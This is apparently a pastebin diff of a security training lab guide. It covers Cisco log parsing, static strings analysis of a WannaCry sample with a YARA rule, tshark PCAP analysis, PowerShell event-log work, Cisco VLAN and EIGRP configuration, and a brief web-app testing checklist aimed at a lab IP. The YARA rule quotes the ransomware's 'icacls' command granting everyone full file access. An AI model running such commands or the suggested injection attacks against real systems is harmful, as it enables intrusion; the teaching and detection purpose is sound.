View difference between Paste ID: GnLxQJXT and qPWZuyzz
SHOW: | | - or go back to the newest paste.
1
#########################
2
# Connect to the server #
3
#########################
4
 
5
Use Putty to SSH into my Ubuntu host in order to perform the lab tasks below.
6
 
7
You can download Putty from here:
8
http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
9
 
10
 
11-
New server IP:		45.77.13.200
11+
server ip:		45.63.116.164
12-
protocol:		    ssh
12+
protocol:           	ssh
13-
port:			    22
13+
port:               	22
14-
username:		    linuxclass
14+
username:		ciscosecurity
15-
password:		
15+
password: 				
16
17
 
18
 
19
##############################################
20
# Log Analysis with Linux command-line tools #
21
##############################################
22
The following command line executables are found in the Mac as well as most Linux Distributions.
23
 
24
cat –  prints the content of a file in the terminal window
25
grep – searches and filters based on patterns
26
awk –  can sort each row into fields and display only what is needed
27
sed –  performs find and replace functions
28
sort – arranges output in an order
29
uniq – compares adjacent lines and can report, filter or provide a count of duplicates
30
 
31
 
32
##############
33
# Cisco Logs #
34
##############
35
 
36
AWK Basics
37
----------
38
To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
39
 
40
-----------------------------Type this-----------------------------------------
41
cat cisco.log | awk '{print $5}' | tail -n 4
42
-------------------------------------------------------------------------------
43
 
44
 
45
 
46
Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
47
 
48
-----------------------------Type this-----------------------------------------
49
cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
50
-------------------------------------------------------------------------------
51
 
52
 
53
 
54
While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
55
 
56
-----------------------------Type this-----------------------------------------
57
cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
58
-------------------------------------------------------------------------------
59
 
60
 
61
 
62
 
63
Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
64
 
65
-----------------------------Type this-----------------------------------------
66
cat cisco.log | grep %LINEPROTO-5-UPDOWN:
67
 
68
cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
69
 
70
cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
71
 
72
cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
73
--------------------------------------------------------------------------------
74
 
75
 
76
 
77
 
78
 
79
 
80
 
81
################
82
# The Scenario #
83
################
84
You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
85
 
86
 
87
The fastest thing you can do is perform static analysis.
88
 
89
 
90
 
91
###################
92
# Static Analysis #
93
###################
94
 
95
- After logging please open a terminal window and type the following commands:
96
 
97
 
98
---------------------------Type This-----------------------------------
99
 
100
file wannacry.exe
101
 
102
hexdump -n 2 -C wannacry.exe
103
 
104
----------------------------------------------------------------------
105
 
106
 
107
 
108
In a browser...go to: http://www.garykessler.net/library/file_sigs.html
109
 
110
***What is '4d 5a' or 'MZ'***
111
 
112
 
113
 
114
 
115
 
116
---------------------------Type This-----------------------------------
117
objdump -x wannacry.exe
118
 
119
strings wannacry.exe
120
 
121
strings wannacry.exe | grep -i dll
122
 
123
strings wannacry.exe | grep -i library
124
 
125
strings wannacry.exe | grep -i reg
126
 
127
strings wannacry.exe | grep -i key
128
 
129
strings wannacry.exe | grep -i rsa
130
 
131
strings wannacry.exe | grep -i open
132
 
133
strings wannacry.exe | grep -i get
134
 
135
strings wannacry.exe | grep -i mutex
136
 
137
strings wannacry.exe | grep -i irc
138
 
139
strings wannacry.exe | grep -i join        
140
 
141
strings wannacry.exe | grep -i admin
142
 
143
strings wannacry.exe | grep -i list
144
----------------------------------------------------------------------
145
 
146
 
147
 
148
 
149
 
150
 
151
 
152
Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
153
 
154
Quick Google search for "wannacry ransomeware analysis"
155
 
156
 
157
Reference
158
https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
159
 
160
- Yara Rule -
161
 
162
 
163
Strings:
164
$s1 = “Ooops, your files have been encrypted!” wide ascii nocase
165
$s2 = “Wanna Decryptor” wide ascii nocase
166
$s3 = “.wcry” wide ascii nocase
167
$s4 = “WANNACRY” wide ascii nocase
168
$s5 = “WANACRY!” wide ascii nocase
169
$s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
170
 
171
 
172
 
173
 
174
 
175
 
176
 
177
 
178
Ok, let's look for the individual strings
179
 
180
 
181
---------------------------Type This-----------------------------------
182
strings wannacry.exe | grep -i ooops
183
 
184
strings wannacry.exe | grep -i wanna
185
 
186
strings wannacry.exe | grep -i wcry
187
 
188
strings wannacry.exe | grep -i wannacry
189
 
190
strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
191
----------------------------------------------------------------------
192
193
194
195
196
##################################################################
197
# Analyzing a PCAP Prads                                         #
198
# Note: run as regular user                                      #
199
##################################################################
200
 
201
---------------------------Type this as a regular user----------------------------------
202
cd /home/ciscosecurity/pcap_analysis
203
 
204
prads -r suspicious-time.pcap -l prads-asset.log
205
 
206
cat prads-asset.log | less
207
 
208-
####################################
208+
209-
# Tired of GREP - let's try Python #
209+
210-
####################################
210+
211-
Decided to make my own script for this kind of stuff in the future. I
211+
212
cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis'
213-
Reference1:
213+
214-
http://45.63.104.73/analyse_malware.py
214+
215
 
216-
This is a really good script for the basics of static analysis
216+
217
 
218
##################################
219-
https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
219+
220
# Note: run as regular user      #
221
##################################
222-
This is really good for showing some good signatures to add to the Python script
222+
223
cd /home/ciscosecurity/pcap_analysis
224
225-
Here is my own script using the signatures (started this yesterday, but still needs work):
225+
226-
https://pastebin.com/guxzCBmP
226+
227
cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
228
 
229
cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
230
 
231
 
232-
cat am.py | less
232+
233
 
234-
python2.7 am.py wannacry.exe
234+
235
------------------------------------------------------------------------
236
 
237
 
238
 
239
 
240
 
241
 
242
 
243
 
244
#############################
245
# PCAP Analysis with tshark #
246
# Note: run as regular user #
247
#############################
248
---------------------------Type this as a regular user---------------------------------
249
cd /home/ciscosecurity/pcap_analysis
250
 
251
tshark -i ens3 -r suspicious-time.pcap -qz io,phs
252
 
253
tshark -r suspicious-time.pcap -qz ip_hosts,tree
254
 
255
tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
256
 
257
tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
258
 
259
 
260
tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
261
 
262
whois rapidshare.com.eyu32.ru
263
 
264
whois sploitme.com.cn
265
 
266
tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
267
 
268
tshark -r suspicious-time.pcap -qz http_req,tree
269
 
270
tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
271
 
272
tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
273
------------------------------------------------------------------------
274
275-
------------------------------------------------------------------------
275+
276
277
#####################
278
# Powershell Basics #
279
#####################
280
 
281
PowerShell is Microsoft's new scripting language that has been built in since the release Vista.
282
 
283
PowerShell file extension end in .ps1 .
284
 
285
An important note is that you cannot double click on a PowerShell script to execute it.
286
 
287
To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
288
 
289
------------------------Type This------------------------------
290
cd c:\
291
dir
292
cd
293
ls
294
---------------------------------------------------------------
295
 
296
 
297
To obtain a list of cmdlets, use the Get-Command cmdlet
298
------------------------Type This------------------------------
299
Get-Command
300
---------------------------------------------------------------
301
 
302
 
303
You can use the Get-Alias cmdlet to see a full list of aliased commands.
304
------------------------Type This------------------------------
305
Get-Alias
306
---------------------------------------------------------------
307
 
308
 
309
Don't worry you won't blow up your machine with Powershell
310
------------------------Type This------------------------------
311
Get-Process | stop-process              Don't press [ ENTER ] What will this command do?
312
Get-Process | stop-process -whatif
313
---------------------------------------------------------------
314
 
315
To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.
316
------------------------Type This------------------------------
317
Get-Help Get-Command
318
 
319
Get-Help Get-Service –online
320
 
321
Get-Service -Name TermService, Spooler
322
 
323
Get-Service –N BITS
324
---------------------------------------------------------------
325
 
326
 
327
 
328
 
329
 
330
- Run cmdlet through a pie and refer to its properties as $_
331
------------------------Type This------------------------------
332
Get-Service | where-object {  $_.Status -eq "Running"}
333
---------------------------------------------------------------
334
 
335
 
336
 
337
- PowerShell variables begin with the $ symbol. First lets create a variable
338
------------------------Type This------------------------------
339
$serv = Get-Service –N Spooler
340
---------------------------------------------------------------
341
 
342
To see the value of a variable you can just call it in the terminal.
343
------------------------Type This------------------------------
344
$serv
345
 
346
$serv.gettype().fullname
347
---------------------------------------------------------------
348
 
349
 
350
Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the object to Get-Member or pass it in
351
------------------------Type This------------------------------
352
$serv | Get-Member
353
 
354
Get-Member -InputObject $serv
355
---------------------------------------------------------------
356
 
357
 
358
 
359
 
360
Let's use a method and a property with our object.
361
------------------------Type This------------------------------
362
$serv.Status
363
$serv.Stop()
364
$serv.Refresh()
365
$serv.Status
366
$serv.Start()
367
$serv.Refresh()
368
$serv.Status
369
---------------------------------------------------------------
370
 
371
 
372
If you want some good command-line shortcuts you can check out the following link:
373
https://technet.microsoft.com/en-us/library/ff678293.aspx
374
 
375
#############################
376
# Simple Event Log Analysis #
377
#############################
378
Let's setup a directory to work in:
379
------------------------Type This------------------------------
380
cd c:\
381
 
382
mkdir ps
383
 
384
cd ps
385
---------------------------------------------------------------
386
 
387
Step 1: Dump the event logs
388
---------------------------
389
The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.
390
 
391
To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs.
392
If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.
393
------------------------Type This------------------------------
394
Get-EventLog -LogName application | Export-Clixml Applog.xml
395
 
396
type .\Applog.xml
397
 
398
$logs = "system","application","security"
399
---------------------------------------------------------------
400
 
401
 
402
The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console
403
------------------------Type This------------------------------
404
$logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }
405
---------------------------------------------------------------
406
 
407
 
408
 
409
 
410
Step 2: Import the event log of interest
411
----------------------------------------
412
To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files.
413
Store the results in a variable.
414
Let's take a look at the commandlets Where-Object, Group-Object, and Select-Object.
415
 
416
The following two commands first read the exported security log contents into a variable named $seclog, and then the five oldest entries are obtained.
417
------------------------Type This------------------------------
418
$seclog = Import-Clixml security.xml
419
 
420
$seclog | select -Last 5
421
---------------------------------------------------------------
422
 
423
Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:
424
------------------------Type This------------------------------
425
Get-EventLog Application -After (Get-Date).AddDays(-1)
426
---------------------------------------------------------------
427
You can use '-after' and '-before' to filter date ranges
428
 
429
One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the NFTS and share permissions that are assigned to the location where you store everything.
430
By default, an ordinary user does not have permission to read the security log.
431
 
432
 
433
 
434
 
435
Step 3: Drill into a specific entry
436
-----------------------------------
437
To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties.
438
 
439
------------------------Type This------------------------------
440
$seclog | select -first 1 | fl *
441
---------------------------------------------------------------
442
 
443
The message property contains the SID, account name, user domain, and privileges that are assigned for the new login.
444
 
445
------------------------Type This------------------------------
446
($seclog | select -first 1).message
447
 
448
(($seclog | select -first 1).message).gettype()
449
---------------------------------------------------------------
450
 
451
 
452
In the *nix world you often want a count of something (wc -l).
453
How often is the SeSecurityPrivilege privilege mentioned in the message property?
454
To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events:
455
------------------------Type This------------------------------
456
$seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure
457
---------------------------------------------------------------
458
If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather the matches by the EventID property.
459
 
460
------------------------Type This------------------------------
461
$seclog | ? { $_.message -match 'SeSecurityPrivilege'} | group eventid
462
---------------------------------------------------------------
463
 
464
Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present.
465
Use the count property to determine the total number of entries in the event log.
466
------------------------Type This------------------------------
467
$seclog.Count
468
---------------------------------------------------------------
469
 
470
 
471
 
472
 
473
 
474
############################
475
# Simple Log File Analysis #
476
############################
477
 
478
 
479
You'll need to create the directory c:\ps and download sample iss log http://pastebin.com/raw.php?i=LBn64cyA
480
 
481
------------------------Type This------------------------------
482
cd c:\ps
483
(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
484
(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt")
485
Select-String 192.168.208.63 .\CiscoLogFileExamples.txt
486
---------------------------------------------------------------
487
 
488
 
489
 
490
The Select-String cmdlet searches for text and text patterns in input strings and files. You can use it like Grep in UNIX and Findstr in Windows.
491
------------------------Type This------------------------------
492
Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line
493
---------------------------------------------------------------
494
 
495
 
496
 
497
To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-Object.
498
------------------------Type This------------------------------
499
Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object
500
---------------------------------------------------------------
501
 
502
 
503
To select all IP addresses in the file expand the matches property, select the value, get unique values and measure the output.
504
------------------------Type This------------------------------
505
Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object
506
---------------------------------------------------------------
507
 
508
 
509
Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses.
510
------------------------Type This------------------------------
511
Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique
512
---------------------------------------------------------------
513
 
514
In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by using the alias for Sort-Object: sort count –des.
515
This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell.
516
------------------------Type This------------------------------
517
Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des
518
---------------------------------------------------------------
519
520
521
522
#########################
523
# Introduction to VLANs #
524
#########################
525
https://www.net-refresh.com/switching1.html
526
 
527
 
528
1. Configure Host_Red1 to be an access port in VLAN 10
529
2. Configure Host_Red2 to be an access port in VLAN 10
530
3. Configure Host_Blue1 to be an access port in VLAN 20
531
4. Configure Host_Blue2 to be an access port in VLAN 20
532
 
533
 
534
-----Type these commands on switch 1----
535
enable
536
configure terminal
537
    vlan 10
538
      name Red_Vlan
539
    interface f0/1
540
      switchport mode access
541
      switchport access vlan 10
542
    interface f0/2
543
      switchport mode access
544
      switchport access vlan 10
545
    interface f0/3
546
      switchport mode access
547
      switchport access vlan 20
548
    interface f0/4
549
      switchport mode access
550
      switchport access vlan 20
551
----------------------------------------
552
 
553
Testing the configuration
554
 
555
In order to test your configuration, try setting static IP addresses on the host PCs, and check which PCs can communicate. Set the host IP addresses to 192.168.0.1, 192.168.0.2, 192.168.0.3, and 192.168.0.4 respectively, with a subnet mask of 255.255.255.0. Note that having two VLANs using a single subnet is not something you will do in a real network, and is only done here to demonstrate the VLANs are separated.
556
 
557
If you have configured the switch correctly you will find that the although the Red hosts can ping each other, they are unable to ping the Blue hosts.
558
 
559
 
560
 
561
References used for this lab:
562
* VLANs: https://www.net-refresh.com/articles/vlans1.html
563
 
564
 
565
 
566
 
567
#######################
568
# InterVlan Routing 1 #
569
#######################
570
https://www.net-refresh.com/switching2.html
571
 
572
1. Assign 'Host_Red1' to vlan 10, and force to an access port.
573
2. Assign 'Host_Red2' to vlan 10, and force to an access port.
574
3. Assign 'Host_Blue1' to vlan 20, and force to an access port.
575
4. Assign 'Host_Blue2' to vlan 20, and force to an access port.
576
5. Assign Switch1 f0/10 to vlan 10, and force to an access port.
577
6. Assign Switch1 f0/11 to vlan 20, and force to an access port.
578
7. Set the IP address of Router1's f0/0 interface to the last usable address in the 10.0.0.0/24 subnet, and ensure the port is up.
579
8. Set the IP address of Router1'a f0/1 interface to the last usable address in the 10.1.0.0/24 subnet, and ensure the port is up.
580
9. On Switch1, create VLAN interface 10, and assign it the IP address 10.0.0.2/24.
581
 
582
 
583
 
584
 
585
-----Type these commands on switch 1----
586
enable
587
configure terminal
588
    vlan 10
589
      name Red_Vlan
590
    interface f0/1
591
      switchport mode access
592
      switchport access vlan 10
593
    interface f0/2
594
      switchport mode access
595
      switchport access vlan 10
596
    interface f0/10
597
      switchport mode access
598
      switchport access vlan 10
599
    interface f0/3
600
      switchport mode access
601
      switchport access vlan 20
602
    interface f0/4
603
      switchport mode access
604
      switchport access vlan 20
605
    interface f0/11
606
      switchport mode access
607
      switchport access vlan 20
608
    interface vlan 10
609
      ip address 10.0.0.2 255.255.255.0
610
 
611
----------------------------------------
612
 
613
 
614
-----Type these commands on router 1----
615
enable
616
configure terminal
617
   interface f0/0
618
     ip address 10.0.0.254 255.255.255.0
619
     no shutdown
620
   interface f0/1
621
     ip address 10.1.0.254 255.255.255.0
622
     no shutdown
623
     exit
624
----------------------------------------
625
 
626
 
627
Hopefully you completed that without too much difficulty! Each VLAN now has a port connected to the Router, so it should now be possible for a Red host to ping a Blue host. Go ahead and configure the host PCs with suitable IP addresses in their subnet. You will need to set the default gateway as well. Remember the default-gateway is the address that packets will be sent to if the host has no better route.
628
 
629
 
630
 
631
References used for this lab:
632
* VLANs: https://www.net-refresh.com/articles/vlans1.html
633
* how to assign static IP on a switch: https://learningnetwork.cisco.com/thread/14861
634
 
635
 
636
 
637
########################################################
638
# Intervlan Routing using trunking (Router on a stick) #
639
########################################################
640
https://www.net-refresh.com/switching3.html
641
 
642
1. Assign 'Host_Red1' to vlan 10, and force to an access port
643
2. Assign 'Host_Red2' to vlan 10, and force to an access port
644
3. Assign 'Host_Blue1' to vlan 20, and force to an access port
645
4. Assign 'Host_Blue2' to vlan 20, and force to an access port
646
5. Configure Switch1's f0/10 interface so it operates as a dot1q trunk
647
6. Configure a sub-interface on Router1, f0/0.10. This sub-interface should receive frames with the dot1q tag 10.
648
    Assign this the last usable IP address in the 10.0.0.32/27 subnet
649
7. Configure a sub-interface on Router1, f0/0.20. This sub-interface should receive frames with the dot1q tag 20.
650
    Assign this the last usable IP address in the 20.0.0.128/26 subnet
651
8. On Switch1, create vlan interface 10, assign it the first usable IP address in the 10.0.0.32/27 subnet
652
9. Configure the correct default gateway on Switch1
653
 
654
 
655
 
656
-----Type these commands on switch 1----
657
enable
658
configure terminal
659
    vlan 10
660
      name Red_Vlan
661
    interface f0/1
662
      switchport mode access
663
      switchport access vlan 10
664
    interface f0/2
665
      switchport mode access
666
      switchport access vlan 10
667
    interface f0/3
668
      switchport mode access
669
      switchport access vlan 20
670
    interface f0/4
671
      switchport mode access
672
      switchport access vlan 20
673
    interface f0/10
674
      switchport mode trunk
675
    interface f0/11
676
      switchport mode access
677
      switchport access vlan 20
678
    interface vlan 10
679
      ip address 10.0.0.33 255.255.255.224
680
	  exit
681
    ip default-gateway 10.0.0.62
682
 
683
----------------------------------------
684
 
685
 
686
-----Type these commands on router 1----
687
enable
688
configure terminal
689
   interface f0/0
690
     no shutdown
691
   interface f0/0.10
692
     encapsulation dot1q 10
693
     ip address 10.0.0.62 255.255.255.224
694
     no shutdown
695
   interface f0/0.20
696
     encapsulation dot1q 20
697
     ip address 20.0.0.190 255.255.255.192
698
     no shutdown
699
     exit
700
----------------------------------------
701
 
702
 
703
 
704
References used for this lab:
705
* VLANs: https://www.net-refresh.com/articles/vlans1.html
706
* how to assign static IP on a switch: https://learningnetwork.cisco.com/thread/14861
707
* Trunk port: https://networklessons.com/switching/how-to-configure-trunk-on-cisco-catalyst-switch
708
* Subinterface: https://learningnetwork.cisco.com/thread/14587
709
* last useable IP: https://www.aelius.com/njh/subnet_sheet.html
710
* default gateway on a switch: https://learningnetwork.cisco.com/thread/22283
711
 
712
 
713
 
714
##############################################
715
# Interswitch trunks with Inter-Vlan routing #
716
##############################################
717
https://www.net-refresh.com/switching4.html
718
 
719
 
720
1. Configure Switch1's f0/10 interface so it operates as a trunk
721
2. Configure Switch1's f0/11 interface so it dynamically negotiates and operates as a dot1q trunk
722
3. Configure Switch2's f0/11 interface so it dynamically negotiates and operates as a dot1q trunk
723
4. Assign 'Host_Red1' to vlan 10, and force to an access port
724
5. Assign 'Host_Red2' to vlan 10, and force to an access port
725
6. Assign 'Host_Blue1' to vlan 20, and force to an access port
726
7. Assign 'Host_Blue2' to vlan 20, and force to an access port
727
8. Create a sub-interface on Router1, f0/0.10. This sub-interface should receive frames with dot1q tag 10. Assign this the last usable IP address in the 172.16.0.0/22 subnet
728
9. Create a sub-interface on Router1, f0/0.20. This sub-interface should receive frames with dot1q tag 20. Assign this the last usable IP address in the 172.16.4.0/26 subnet.
729
10. On Switch1, create vlan interface 10, and assign it the first usable address in the 172.16.0.0/22 subnet
730
11. Configure the correct default gateway on Switch1
731
 
732
 
733
-----Type these commands on switch 1----
734
enable
735
configure terminal
736
    interface f0/10
737
      switchport mode trunk
738
      switchport trunk encapsulation dot1q
739
    vlan 10
740
      name Red_Vlan
741
    interface f0/1
742
      switchport mode access
743
      switchport access vlan 10
744
    interface f0/2
745
      switchport mode access
746
      switchport access vlan 10
747
    vlan 20
748
      name Blue_Vlan
749
    interface f0/3
750
      switchport mode access
751
      switchport access vlan 20
752
    interface f0/4
753
      switchport mode access
754
      switchport access vlan 20
755
    interface vlan 10
756
      ip address 172.16.0.1 255.255.252.0
757
----------------------------------------
758
 
759
 
760
-----Type these commands on switch 2----
761
enable
762
configure terminal
763
    interface f0/11
764
      switchport mode trunk
765
      switchport trunk encapsulation dot1q
766
----------------------------------------
767
 
768
 
769
-----Type these commands on router 1----
770
enable
771
configure terminal
772
   interface f0/0
773
     no shutdown
774
   interface f0/0.10
775
     encapsulation dot1q 10
776
     ip address 172.16.3.254 255.255.252.0
777
     no shutdown
778
   interface f0/0.20
779
     encapsulation dot1q 20
780
     ip address 172.16.4.62 255.255.255.192
781
     no shutdown
782
     exit
783
----------------------------------------
784
 
785
 
786
 
787
References used for this lab:
788
* VLANs: https://www.net-refresh.com/articles/vlans1.html
789
* how to assign static IP on a switch: https://learningnetwork.cisco.com/thread/14861
790
* Trunk port: https://networklessons.com/switching/how-to-configure-trunk-on-cisco-catalyst-switch
791
* Subinterface: https://learningnetwork.cisco.com/thread/14587
792
* last useable IP: https://www.aelius.com/njh/subnet_sheet.html
793
* default gateway on a switch: https://learningnetwork.cisco.com/thread/22283
794
 
795
 
796
 
797
 
798
#############################################
799
# Configuring Static Routes between Routers #
800
#############################################
801
https://www.net-refresh.com/routing1.html
802
 
803
 
804
 
805
 
806
 
807
 
808
 
809
##################################################
810
# Configuring the EIGRP dynamic routing protocol #
811
##################################################
812
https://www.net-refresh.com/routing3.html
813
 
814
1. On Router1 configure the following interfaces with IP addresses:
815
? f0/0 with IP address 10.0.0.1/24
816
? s0/0 with IP address 1.0.0.1/30
817
? s0/1 with IP address 2.0.0.1/30
818
 
819
-----Type these commands on router 1----
820
enable
821
configure terminal
822
   interface f0/0
823
     ip address 10.0.0.1 255.255.255.0
824
     no shutdown
825
   interface s0/0
826
     ip address 1.0.0.1 255.255.255.252
827
     no shutdown
828
   interface s0/1
829
     ip address 2.0.0.1 255.255.255.252
830
     no shutdown
831
----------------------------------------
832
 
833
 
834
2. On Router2 configure the following interfaces with IP addresses:
835
? f0/0 with IP address 20.0.0.1/24
836
? f0/1 with IP address 4.0.0.1/30
837
? s0/0 with IP address 1.0.0.2/30
838
? s0/1 with IP address 3.0.0.1/30
839
 
840
-----Type these commands on router 2----
841
enable
842
configure terminal
843
   interface f0/0
844
     ip address 20.0.0.1 255.255.255.0
845
     no shutdown
846
   interface f0/1
847
     ip address 4.0.0.1 255.255.255.252
848
     no shutdown
849
   interface s0/0
850
     ip address 1.0.0.2 255.255.255.252
851
     no shutdown
852
   interface s0/1
853
     ip address 3.0.0.1 255.255.255.252
854
     no shutdown
855
----------------------------------------
856
 
857
3. On Router3 configure the following interfaces with IP addresses:
858
? f0/0 with IP address 30.0.0.1/24
859
? s0/0 with IP address 3.0.0.2/30
860
? s0/1 with IP address 2.0.0.2/30
861
 
862
 
863
-----Type these commands on router 3----
864
enable
865
configure terminal
866
   interface f0/0
867
     ip address 30.0.0.1 255.255.255.0
868
     no shutdown
869
   interface s0/0
870
     ip address 3.0.0.2 255.255.255.252
871
     no shutdown
872
   interface s0/1
873
     ip address 2.0.0.2 255.255.255.252
874
     no shutdown
875
----------------------------------------
876
 
877
4. On Router4 configure the following interfaces with IP addresses:
878
? f0/0 with IP address 40.0.0.1/24
879
? f0/1 with IP address 4.0.0.2/30
880
 
881
 
882
-----Type these commands on router 4----
883
enable
884
configure terminal
885
   interface f0/0
886
     ip address 40.0.0.1 255.255.255.0
887
     no shutdown
888
   interface f0/1
889
     ip address 4.0.0.2 255.255.255.252
890
     no shutdown
891
----------------------------------------
892
 
893
5. On Router1 configure EIGRP to achieve the following requirements:
894
? Autonomous system 10
895
? Auto route summarization disabled
896
? All attached networks should be advertised
897
? No EIGRP routing updates should be sent towards Host1
898
 
899
-----Type these commands on router 1----
900
enable
901
configure terminal
902
   router eigrp 10
903
     no auto-summary
904
     network 1.0.0.0 0.0.0.3
905
     network 2.0.0.0 0.0.0.3
906
     exit
907
----------------------------------------
908
 
909
 
910
6. On Router2 configure EIGRP to achieve the following requirements:
911
 ?Autonomous system 10
912
? Auto route summarization disabled
913
? All attached networks should be advertised
914
? No EIGRP routing updates should be sent towards Host2
915
 
916
-----Type these commands on router 2----
917
enable
918
configure terminal
919
   router eigrp 10
920
     no auto-summary
921
     network 4.0.0.0 0.0.0.3
922
     network 1.0.0.0 0.0.0.3
923
     network 3.0.0.0 0.0.0.3
924
     exit
925
----------------------------------------
926
 
927
7. On Router3 configure EIGRP to achieve the following requirements:
928
?Autonomous system 10
929
? Auto route summarization disabled
930
? All attached networks should be advertised
931
? No EIGRP routing updates should be sent towards Host3
932
 
933
-----Type these commands on router 1----
934
enable
935
configure terminal
936
   router eigrp 10
937
     no auto-summary
938
     network 3.0.0.0 0.0.0.3
939
     network 2.0.0.0 0.0.0.3
940
     exit
941
----------------------------------------
942
 
943
8. On Router4 configure EIGRP to achieve the following requirements:
944
?Autonomous system 10
945
? Auto route summarization disabled
946
? All attached networks should be advertised
947
? No EIGRP routing updates should be sent towards Host4
948
 
949
-----Type these commands on router 1----
950
enable
951
configure terminal
952
   router eigrp 10
953
     no auto-summary
954
     network 4.0.0.0 0.0.0.3
955
     exit
956
----------------------------------------
957
958
959
960
##################################
961
# Basic: Web Application Testing #
962
##################################
963
 
964
Most people are going to tell you reference the OWASP Testing guide.
965
https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
966
 
967
I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
968
 
969
 
970
The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
971
   
972
    1. Does the website talk to a DB?
973
        - Look for parameter passing (ex: site.com/page.php?id=4)
974
        - If yes - try SQL Injection
975
 
976
    2. Can I or someone else see what I type?
977
        - If yes - try XSS
978
 
979
    3. Does the page reference a file?
980
        - If yes - try LFI/RFI
981
 
982
Let's start with some manual testing against 45.77.162.239
983
 
984
 
985
Start here:
986
---------------------------Paste this into Firefox-----------------------------------
987
http://45.77.162.239/
988
-----------------------------------------------------------------------
989
 
